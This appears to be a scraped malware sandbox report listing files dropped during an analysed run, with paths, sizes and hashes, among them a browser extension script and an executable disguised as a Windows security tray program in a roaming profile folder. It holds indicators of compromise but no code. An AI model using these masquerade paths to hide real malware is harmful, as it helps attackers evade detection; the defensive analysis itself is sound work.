MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 61949459780197053cd66058e4dd3eb703136ca992edd3ab52146c06711a54d8
MD5 037ebc4803e8b3527f1f65b5413576e8
SHA1 9015349fbb73e4aa361a924509c122c586fb85ac
SHA512 79db68eab7b98da9cbac7d2f0c5c02188c10a528d82fb238548b6dd421f13096bf72376c4b10d6f1c98c839fc954720a3f5bb10fd3d83929b90d3f8ef5046d41
SSDEEP 192:zGN8NcJTJJqIGS6H3ikp0miU1tDe68Ur/rUH5mAR8mYXl/cdr/aMzznmsZ0:z68NcJTWRXiY+6Hr/E5kWQUKsZ0
TLSH
T136422A7568B8DC6B59EB9206F44B37535F7810BB9AC44F48E4E95F1D01DB2D8230B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 12KB
SHA256 d76728cd09650b2869d9d0ba35a515e39f4e47ff8f475e12ed8c77fbf622516f
MD5 494f64d22b4378bdc5cea5307757a988
SHA1 9682b1992541ffe600614ae8c5d03e7795ee2014
SHA512 44ab590f1c1fd50b0a014a832473472282de48cfd9b08ba15875a89cae32b76c4a213a334fbf364130193dc1a22a99ca229dd73cdd04ca1bbac97a0871d13f6e
SSDEEP 192:zGc8NcJTJJqIGS6H3ikb0miU1tDe68Br/rUH5mAR8mYXlkcdr/aMzznmsZ0:zX8NcJTWRXiC+62r/E5kLQUKsZ0
TLSH
T15142297568B8DC6B58EB9206F44B37539F7810BBDAC44F48E5E99F1D01DB2D8230B826
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 ed2d7426c87e04ffe64e47f815b5cf1e64df339cbb171d99b4235e125480e976
MD5 7ada4e4d9ea73ee09d1e2f5aa721c065
SHA1 3e68104a2cf3a685a4860c33035ba4a4736f81f5
SHA512 931f3a489adc7f4c15733cb3ae8578fea9fd0fd5a02e14b0a9459d4bc30fad9575f9a47fbc8646f7e47625e07ac7ba909895d9078c6aeebdbda620182fb86984
SSDEEP 192:1GNH6t6H3BQmiUy/HBHg2Qq/rUH5mARDD9M83U6:1GNH6MXfMe2Qq/E5+OU6
TLSH
T10202FA3478A8ACBB8DA3AE05B48B77135F94117FE7D55F98D5E51B1C01DB58C1342832
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

campaign_history

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history
Size 20KB
SHA256 9a7497c1e690919f54c464f0e38452b1e658b14e859840e42ec79d5a3a25ebaa
MD5 1437e18bf4385ab9e8e1d247eca68437
SHA1 b141a0f660fa88249ed3e581459471c77bb7158b
SHA512 c4df44df48bc5a993376c5a894de591c2710da825b0017dc7313a37e0491d8fb00f1f2bd7fe9c6ce043fd93c29b8cc1b6de2c4d0c64fb3dcaf970229c20c3b0f
SSDEEP 24:TL85UOl0afDdWec9sJu5BAHXGR00ajrss5ejB5fc:Tg5UUDbg33PAHX0Jacs5eDc
TLSH
T1AD92AD71B430302BE59F0FB6F84B4C610DFC12EF8D67741499A05E915962AC67B950F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Variations
Size 86B
SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
MD5 961e3604f228b0d10541ebf921500c86
SHA1 6e00570d9f78d9cfebe67d4da5efe546543949a7
SHA512 535f930afd2ef50282715c7e48859cc2d7b354ff4e6c156b94d5a2815f589b33189ffedfcaf4456525283e993087f9f560d84cfcf497d189ab8101510a09c472
TLSH
T196A02407C473C00FF4144051C45C034114FCC447011DD0015074D31314D40CF03F5435
MD5 SHA1 SHA512 TLSH

Submit Download

b26c58bf-d26c-4dbb-833a-67470eaea26f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\b26c58bf-d26c-4dbb-833a-67470eaea26f.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

828cf756-985b-4c0a-924b-ed9aa5ed9b92.tmp

Path C:\Users\Admin\AppData\Local\Temp\828cf756-985b-4c0a-924b-ed9aa5ed9b92.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9e782333-309c-4ee6-a8c1-ccd8480405b5.tmp

Path C:\Users\Admin\AppData\Local\Temp\9e782333-309c-4ee6-a8c1-ccd8480405b5.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

567bea44-b2ef-4141-947f-318d219bdf57.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir716_1214157538\567bea44-b2ef-4141-947f-318d219bdf57.tmp
Size 147KB
SHA256 d766e75ceffe993aa1dadd5619b24043a0ebe9a9689a6796d19d88bf952683d4
MD5 a9f7675ff091bb15c88909424bab4a39
SHA1 90f753d8d7e4397de0f49631fcd9222a7f59148c
SHA512 ff1f89fb04ae9c9a4c6cf6b1475f5a77f1c4f90829acda95cb39889b6b15c3b4f0b3b822a668f8ec8520b002cc90dd397cc26d314ac8fd5f3e2c9826bd458df5
SSDEEP 3072:Ph3iICVe1DvTtr/3tOpPu8LdKBTJyU4AshzWnD7UVDvuZE4tkGL:PgTVWvTZPghwln0AD7UV8Eeky
TLSH
T12BE3E01D29E2846EC82B24F4BA4A718FC71ECF07910BE40F25D984A55C7474E17E2EED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir716_807636893\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 665KB
SHA256 ef197fdbccfef8c5bd5e3926e8d03ee3bf73509fb73342e8ad444cb5a93979ec
MD5 b55acfde560de9d62144254ae46db717
SHA1 bece229cf43ab9b99f79f07e0c1698557791d59d
SHA512 33435cd8f8e390065746d1052cd75fb2b1b79b9a24caf8dc4aba679f105d0c5c11ec15cca654bacfd93719bd735861b738c17b83dca764c1fcd3b6700b0830c6
SSDEEP 6144:MDSBu7AkwYrNPB/KG7KPTeZwLoO9r/dRJddxgkUFHYxgIaRth86cEcm:hdYrNtKGGLeaBjRJdkkUFhvth83EH
TLSH
T1F9E4087AF71219ADC05F437B85A5C7E196902A85F33465B702B48E537AE34C24F2AFC2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

67 (5).txt

Path C:\Users\Admin\Desktop\67 (5).txt
Size 836B
SHA256 f1b6000852a821908a8aeea5eafbc2433a3ed98607f3e15a54a81564506003dd
MD5 e2f78180809f1ac78214c780162de947
SHA1 aaade959f0034c6905ff98cf69e8e874b95bf692
SHA512 c6f50c3c4d7b474cd5656da073e04bf995fd0185b7e07f006e65193b7449be1171d8e568b22d49a2d18123c13066664c8ae5ade40e713a55607a623290a1f636
TLSH
T1DB0102F208B4022A8B2038A00D8BCEE1A3230CC2C0C3100AD3AE023C2F3DB108B0E2C2
MD5 SHA1 SHA512 TLSH

Submit Download

c_swdevice.PNF

Path C:\Windows\INF\c_swdevice.PNF
Size 6KB
SHA256 b33851a29b573ae6644cb3fa74f9b5aad5d2347ed1a77e81a0d24d73e4594897
MD5 b5d8140261056e0c95c1f5baf8d57a75
SHA1 9e0aad56b88b36e9dc9cb5ffb550b245698a5283
SHA512 ac0d12e140af1aad5a881ab770c00aacfb78351a708dda7a22db8765a741f8d5cadb928fe112434d7b090be88e0636a74b6794e97b7d1f5b02400a702367ffe5
SSDEEP 96:/u9PSM0KS0kfW4m3lKXMAKNR6VcNykdRhhwdh1eRkAMAgwwYpSe:QzjYfhm1K835NhTHGZo
TLSH
T1F5E14755B7E98F25F1B69E70ACF064EA5962BC811C01CA5F3264B30D2C73FD4DBA0626
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cpu.PNF

Path C:\Windows\INF\cpu.PNF
Size 20KB
SHA256 9c4f8875ff0a249fbf1cd815e5a62a72e30d13cdceaac4839eb23d8622177c4b
MD5 93a9a2284268af3ffe6c07eda291f787
SHA1 8d5a647407f21283c52427e4d7bbfafd18c6b507
SHA512 e135ce688346255004fafc2503f1e47692c94685456509b2a25ec400b7e1d9d620c7e4189a1b817216734bebcc42a8ba623281883e3cf6308116610c6f470dc1
SSDEEP 384:lsd5+e6IHKBywATq7T7KfCclwjFtweYdT095wJi0Qc0eA/iKJLk2jF7JPBBuIlDu:ls7Z7CpIOTFvEZX
TLSH
T18492864133EC4B25F1B60E706EB9A1E58866BDE16D12DB5F2420738C1872FD4EEB1726
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mshdc.PNF

Path C:\Windows\INF\mshdc.PNF
Size 68KB
SHA256 a4e7ca85acb9efd3d1a7645e5a56cba13d1b2cb2a890395dabbe6bb31370c30c
MD5 1602f9d82f4d9ca6576160054d815eb4
SHA1 62d23590411c233aa3a31f5b87f7a3b2d2c6416f
SHA512 d4f668fe72b74c1399e2bb32e1a776d5197e7acb081c820752e642d1698d6f497f4f1d1f51ff8d7bfda1210428af5526716e64d29e9b7953599ca6254ffb3841
SSDEEP 1536:F6f7cMKDS6M1ofR654zmM6Wq56ik1PsAdSyalc:s6M6fR654qM6WmvkdsAd2c
TLSH
T1EC63B90436D84B0AF5B3AA70AFF286965D19BCE16E21D71F54B0730F0872F85ADA1736
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msmouse.PNF

Path C:\Windows\INF\msmouse.PNF
Size 97KB
SHA256 caeeb0849c06505a147cc6da95b51d9a84075daa8e408612ae93dea2c95fcaad
MD5 f731de6b2849e44533906fb880743589
SHA1 3d8220298d96039c37201bcd10d596fb9d7bf5be
SHA512 114e736eee1e565aaae5960a31db8a73a9177bc9f4d56799fc8922adfa18e3c9c428cf67ed2071a9554bea1103b26028722f94171316c56b71632aa4a31d0681
SSDEEP 3072:Efi6Y9to4/N3aq95PZTexpjwSY52L9lipZvjpv0:NtdN9FN8
TLSH
T1B8A34551B2ED5B1EF2F21E716AF15167882ABCD25C21D70E5960B30F69B0F81CDB0B26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

printqueue.PNF

Path C:\Windows\INF\printqueue.PNF
Size 7KB
SHA256 c32c369959e7066ce176334d76ae257b7c42477bea1a919fd4dc31aa37f040c1
MD5 1f864e554b565b03ec66b10bcf558231
SHA1 5094ab7b180f09088ce0a331db8141d94a260cb9
SHA512 5862ca1d110d8099f168163c5c99b54bbd1f628683fa8e74d8c3e51f3fac18872cb1976a693e55fc3633291328e92d68e58c109b41ffc56d046385baf596c0af
SSDEEP 96:Q7kuQmTx0W/1yu3FXxNV+uODUGFzoJ/afGSFyyfitH2HRUZ:Q73P1D3F9+uODzM/IPvC2s
TLSH
T187E17806B3E48E14F2B29EB4ACF864E94962BC915D45DA2F2164731D1873E84EBB0736
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

usbport.PNF

Path C:\Windows\INF\usbport.PNF
Size 150KB
SHA256 396a70a136a90c009cc62f8f9c8f91a6bb796e9030038f23890203c39a90ebb9
MD5 b852ec676a2efb7b364d33cd90c72712
SHA1 68e6e0c6829ad4dc32ce626ab05b45f48ac880bd
SHA512 2b2dd6902db89e24f2bf9535f57fc9b89d10ada2a515ba5d01f32dac2146c6c5a7110fe176b858dc4ca609c318fb39752e1c9f6df59d27eff4bbdef82383aacc
SSDEEP 1536:P/ZLEaXIqlRrxomw3Jm8sRELTLpznT1SYwYp8ZYT5IcQ7lsupnFUxz0J2/ZXYRpe:P/Gp3Jxh/pznNupnFUxgfRc
TLSH
T155E36A0433D80B0AF2F26A70BEF585666D26BCE2AD30DB2D4474734F1972E85ADA1735
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

volume.PNF

Path C:\Windows\INF\volume.PNF
Size 6KB
SHA256 d5fbb8b20d0e59fbd7606c244da95e7af073cfaaf79d5eb50ea011fc17875ccd
MD5 4cbd2b2b2443c34d54806b2aef97563a
SHA1 a7f99139b108b4a512da75d8391daef373da0ee8
SHA512 36493d768f2d0be157484108bb062e08b422b9440c19482edebf0b005a26a3f5b1491bc2e2e49970ddc0fc2c95c05b9ce62d9beda461add1c4bf2f3407efb888
SSDEEP 96:NMmGmIAAOAqs1V2i626RMtha5IA1r7rNkNukpUST/stpz2H7Ny:aOAqRH26CtAIA1r7rgsHa4
TLSH
T11ED1551177F88E05F2B69A707EF056E6082A7D828C52DB4F3554730F1873A94ABF072A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 2KB
SHA256 dbedbe6543a991a19d4a720cb3346cbf1bff58c0036178a3d267c6a040ebef77
MD5 9d28caf40bdff97f98e7df2406fbea49
SHA1 66af30b3c19963402ff0705a7c2c56ebaeb62f69
SHA512 0fe1d78181152cb3e837f4665bf40fdfeff5cb0d6318ea987048ad9d6aa2cb3df317bf37478251be6751600d68c5879f6cfb8fbd954ecbf9411d1f0e5dc40305
TLSH
T1835180320DA24136BE19D500EB510E6EDD13B2662B9F7520353FE49A7F0232B85FDE98
MD5 SHA1 SHA512 TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 11KB
SHA256 1fffdf3830ee1dd5628bf2797af2a14ecb699802fae09cb7ac87ac458da9128c
MD5 3e96d45cb82190979a8a8af8bece89de
SHA1 58afb9c9582ea9a542e477de6e0c43fafe64bb63
SHA512 4693536439a9b469e51e1017b093e2f0dcf9dfdcf13ab7f8b80b6e674a3d8235d6023b7f5718563ab43925568253630ab5bd3af3f3acd753f3cdad42f7fecaf0
SSDEEP 96:5MwiGdgbneLHMwiGdgbneLHMwiGdgbnYMwiGdgbneLHMwiGdgbnH/s4HMwiGdgbt:53gbq3gbq3gbY3gbq3gbH/X3gbt
TLSH
T16B328229B1A92EBB5C9446F8DFD038C26F8097794106A03795C4FDAFB279042F5B17CA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 13KB
SHA256 c6cff6f922c999b065dc341e0a641a138499b53c3a0565870fbebaa15c00ba4f
MD5 1582877ad49c7ef29f0f1865c4608cfd
SHA1 7b9d4c6c5c3314ebb1e33709d85b50a4abd0aefc
SHA512 de24b571c805cf585d6e818be77988a856ed4886f4256acb6a7ec73fb3d19b57ee509cac3a92b4e8a022befd5a45d5d09c8271430f1fe57c13183972d3beff4a
SSDEEP 192:53gbq3gbExc5toB3gbY3gbq3gbEaD4m3gbEV:53Iq3IwcK3IY3Iq3IP3IK
TLSH
T1E052F539B1942EBB5C9046F8DFD038C26B8097794116A03795C4FDAFA279082F9B17DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 98B
SHA256 05f8d7d92f2be5ffdfbb631e5d1a4cda8edaffcf602473ae76fbe0f048c8b5a0
MD5 83e49cf370b3ed7b8ae79a6a5e0a9a79
SHA1 15928171744342ded71a1f6a9c277af64cfc97c2
SHA512 fb131e585e869f8923aef3c6a820938d4d89502156099e8aa6235a920c338dac757c510642e44b02a2a4263e778456ca6952af1fa14fa128f820559fdb6cc9b1
TLSH
T1BAB02411013F05157F0014C0C3004D344C03555103050F00305FC411F7C133505FCF0C
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads